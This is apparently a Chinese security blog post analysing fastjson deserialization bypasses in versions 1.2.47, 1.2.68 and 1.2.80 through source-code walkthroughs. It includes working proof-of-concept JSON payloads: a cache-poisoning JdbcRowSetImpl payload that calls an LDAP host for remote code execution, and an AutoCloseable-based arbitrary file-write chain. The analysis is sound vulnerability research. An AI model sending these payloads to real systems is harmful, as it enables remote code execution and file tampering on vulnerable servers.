紧跟上一篇 ,继续补一下fastjson的审计,复现和分析范围包括1.2.47-1.2.80。
FastJson 1.2.47
47出现了最严重的一个漏洞,之前我们可以看到,从25-43所有版本,我们都是在开启AutoType的条件下才可以进行的,配合不同的绕过手段。而47版本的漏洞无需开启AutoType即可对漏洞进行利用 。据说payload的来源是官方的一个测试commit:remove
unused testcase · alibaba/fastjson@be41b36 (github.com) :
泄露的payload中通过指定Class,并使用val
关键字指定了恶意类。在后续分析可以看到,该操作将恶意类注入到了缓存(mapping) 中,从而导致了在不开启autoType的情况下可以从缓存中获取到这个恶意类。
温故
回顾一下25<= fastjson
<=42版本的漏洞,我们都是通过使用特殊字符如L
或[
绕过的。而在44版本开始,官方已经把L
及双写、[
开头的利用方式都过过滤掉了:
看似在开启了autoTypeSupport
的情况下没有其他利用方式了,但是仍然是存在问题的。通过上面的代码可以看到,在不使用特殊字符的方式的情况下,恶意类名称肯定是会被第三个黄框里的循环判断发现的,那就没辙了。
知新
那我们如果放弃autoTypeSupport不走这个判断了呢? 这样不就不会进入判断了?47版本的利用方式就是这样的。我们关注一下下面的两条语句:
若没有开启autoTypeSupport
,则会从Mapping或者deserializers中寻找,如果这俩之一找到了,会在下面的if判断中直接返回,后面那个黑白名单机制也不会走了。我们分别看一下这两个分支。
TypeUtils.getClassFromMapping
的静态方法会判断这个类名称是否存在于TypeUtils维护的一个concurrentHashMap中,并通过addBaseClassMapping
方法配合loadClass
方法向这个字典中添加常用类:
下面是简要代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private static void addBaseClassMappings () { mappings.put("byte" , byte .class); mappings.put("[Z" , boolean [].class); Class<?>[] classes = new Class []{...}; for (Class clazz : classes){ if (clazz == null ){ continue ; } mappings.put(clazz.getName(), clazz); } String[] awt = new String []{...}; for (String className : awt){ Class<?> clazz = loadClass(className); if (clazz == null ){ break ; } mappings.put(clazz.getName(), clazz); } String[] spring = new String []{...}; for (String className : spring){ Class<?> clazz = loadClass(className); if (clazz == null ){ break ; } mappings.put(clazz.getName(), clazz); } }
看起来都是在添加一些固定的类,我们没有可以插手的地方。那可以利用的就是loadClass函数了,这里先埋下伏笔 ,我们看看另一个if分支。另一个分支的函数的findClass函数如下:
该函数会从buckets中寻找该类的父类 ,如果可以找到的话则向上转型并返回。这个bucket是一个fastjson.utils.IdentityHashMap
类型数据,提供了put方法向其中添加类。能够向这个Map中写入数据的方法包括:
但是这些函数的参数、添加的内容我们是无法控制的。因此我们就只能想办法利用第一个if分支中的getClassFromMapping
了。
重新回到我提到的伏笔 --loadClass方法,看看内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { if (className == null || className.length() == 0 ){ return null ; } Class<?> clazz = mappings.get(className); if (clazz != null ){ return clazz; } if (className.charAt(0 ) == '[' ){ Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); } if (className.startsWith("L" ) && className.endsWith(";" )){ String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); } try { if (classLoader != null ){ clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable e){ e.printStackTrace(); } try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable e){ } try { clazz = Class.forName(className); mappings.put(className, clazz); return clazz; } catch (Throwable e){ } return clazz; }
这里可以看到,我们是有机可图的,即,若一个类:
不是L
开头;
结尾的名字、不是[
开头的名字
不是预先加载的常用类
那么,就会被加载并放入mapping中。 That's all we
got。
这个方法在类中有三个重载:
其中:
LoadClass(x):均用于加载一些固定名称的类,没法子利用到。
LoadClass(x,
y):除了TypeUtils
中的自调用以及加载L
和[
外,MiscCodec
中有一个deserialze方法存在调用,且那个strVal看起来是可以控制的,稍后我们细看一下。
LoadClass(x, y, z):调用都在checkAutoType中,没法利用
ok,那我们就聚焦于fastjson.serializer.MiscCodec
类的deserialize
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 @SuppressWarnings("unchecked") public <T> T deserialze (DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; Object objVal; if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { objVal = parser.parse(); parser.accept(JSONToken.RBRACE); } else { objVal = parser.parse(); } String strVal; if (objVal == null ) { strVal = null ; } else if (objVal instanceof String) { strVal = (String) objVal; } else { if (objVal instanceof JSONObject) { JSONObject jsonObject = (JSONObject) objVal; if (clazz == Currency.class) { String currency = jsonObject.getString("currency" ); if (currency != null ) { return (T) Currency.getInstance(currency); } String symbol = jsonObject.getString("currencyCode" ); if (symbol != null ) { return (T) Currency.getInstance(symbol); } } if (clazz == Map.Entry.class) { return (T) jsonObject.entrySet().iterator().next(); } return jsonObject.toJavaObject(clazz); } throw new JSONException ("expect string" ); } if (strVal == null || strVal.length() == 0 ) { return null ; } if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); } }
那么思路就有了,我们需要加载一个Class类型的类,并通过strVal来进行控制。先实验一个简单的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 import com.alibaba.fastjson.JSONObject;public class Demo { public static void main (String[] args) { String poc = "{\"@type\":\"java.lang.Class\", \"val\": \"aha\"}" ; JSONObject pocObj = JSONObject.parseObject(poc); } }
因为没有开启autoTypeSupport,也不是黑名单类,因此我们就来到了下面的两个分支:
紧接着,我们在findClass方法中,找到了类,这是很自然的,然后在下面的分支中返回class。
紧接着,结束了checkAutoType函数,并将当前parser的状态设置为了TypeNameRedirect
,这就满足了前面MiscCodec
代码中的判断条件了。
最后反序列化的工作交给了MiscCodec
,那么就会进入我们前面的代码片段了:
可以看到,strVal
的值被赋予了我们val
字段的值。
由于是Class类型的,因此调用loadClass方法:
并完成加载和污染 mapping的过程。污染了之后呢?
我们就可以从第一个分支中、从mapping中获取这个类了。
至此就是整个攻击原理和思路了,小结一下,我们的思路是分两个阶段的,是承上启下的关系。
关闭autoTypeSupport以逃过黑名单,并通过Class
的类型注入恶意类 到mapping中。
二次从mapping中读取以加载恶意类。
因此Poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import com.alibaba.fastjson.JSONObject;public class Demo { public static void main (String[] args) { String poc = "{\"injection\": {\"@type\": \"java.lang.Class\", \"val\": \"com.sun.rowset.JdbcRowSetImpl\"}, \"utilization\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://10.10.10.128:1389/Exploit\", \"autoCommit\": true}}" ; JSONObject pocObj = JSONObject.parseObject(poc); System.out.println(pocObj); } }
FastJson 1.2.68
安全说明:security_update_20200601
· alibaba/fastjson Wiki (github.com)
温故
先尝试一下47的payload:
看一下修改的地方:
嗯?这不是后面那个黑白名单吗?怎么会走到这里来?不应该第二次拿到第一次注入后的就直接返回了吗?跟进看一下第一次的恶意类是否真的投放进去了:
行吧,那可控吗?
知新
官方说明中提到新增加了safeMode:
这个功能默认false是关闭的,如果你开启了,那就会完全禁用autoType
从而完全避免开启了autoType的类型的攻击。当然也要考虑业务需求。
然而 ,该版本仍然存在绕过autoType
的漏洞。我们重新回到47版本中的if分支地方:
上面的分支我们已经没有办法利用了,在黑白名单判断之前,还有一个分支也就是红框圈出的地方。这个expectClass是什么来头?
可以看到是checkAutoType传入的,而默认的传入是null:
而在红框判断中,若expectClass为空,则直接返回clazz供反序列化;若expectClass非空则若:
不是HashMap类型 且
属于待反序列化的类的子类(isAssignableFrom
方法用于判断参数是否是当前对象的子类)
就会直接返回clazz供反序列化。那我们大致思路有了,其实和47版本的两阶段 是类似的:
首先反序列化一个类,此时expectClass为空,并正常返回clazz供反序列化。
反序列化第二个类时,令这个类是我们传入的第一个类的子类,从而绕过这个抛出异常语句而直接返回。
有没有什么办法在第一次checkAutoType后,再次进入checkAutoType并传入expectClass以返回恶意类呢? 答案是使用java.lang.AutoCloseable
接口类。我们先用如下输入测试一下流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 import com.alibaba.fastjson.JSONObject;public class Demo { public static void main (String[] args) { String poc = "{\"@type\": \"java.lang.AutoCloseable\", \"@type\": \"java.io.FileOutputStream\"}" ; JSONObject pocObj = JSONObject.parseObject(poc); } }
可以看到Mapping中是有这个类的,并正常返回:
准备反序列化,这里会使用paser.deserializer.JavaBeanDeserializer
来做反序列化工作:
进入后,来到如下代码片段:
注意,此时已经开始要解析第二个类了。构造上我们选取了FileOutputStream,他实现了AutoCloseable
接口,红框中可以看到,expectClass
此时为我们传入的第一个接口类,然后准备进入checkAutoType
函数。
进入之后,由于不存在于黑名单、也不是mapping中的,因此略过前面判断以及黑白名单扫描,到达上图代码位置。由于expectClass非空、且clazz(此处为FileOutputStream
)为expectClass的子类,因此会将这个类添加到mapping中并返回。
至此,我们其实是实现了47版本漏洞中第一阶段的效果:污染mapping。 后面再跟一个待反序列化的恶意类从而构成gadget就可以利用了。
但是,有一个条件,这样的利用方式就要求恶意类必须实现了AutoCloseable接口。 最典型的、直观能想到的,那肯定就是文件类了,但是FileOutputStream
的构造器指向的是文件,不能添加一些其他可控的参数,比如写入什么内容。因此网上可以看到一些人的文章都会使用FileOutputStream
的子类或类似的其他类,这一部分的话通常可以实现比如任意文件写入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { '@type': "java.lang.AutoCloseable" , '@type': 'sun.rmi.server.MarshalOutputStream', 'out': { '@type': 'java.util.zip.InflaterOutputStream', 'out': { '@type': 'java.io.FileOutputStream', 'file': 'dst', 'append': false } , 'infl': { 'input': { 'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==', 'limit': 22 } } , 'bufLen': 1048576 } , 'protocolVersion': 1 }
FastJson 1.2.80
这应该是FastJson
1.2.x最新的漏洞信息了,提示用户应该尽快升级到最新的1.2.83版本。
安全说明:security_update_20220523
· alibaba/fastjson Wiki (github.com)
参考
https://su18.org/post/fastjson
Fastjson
反序列化RCE分析 - Y4er的博客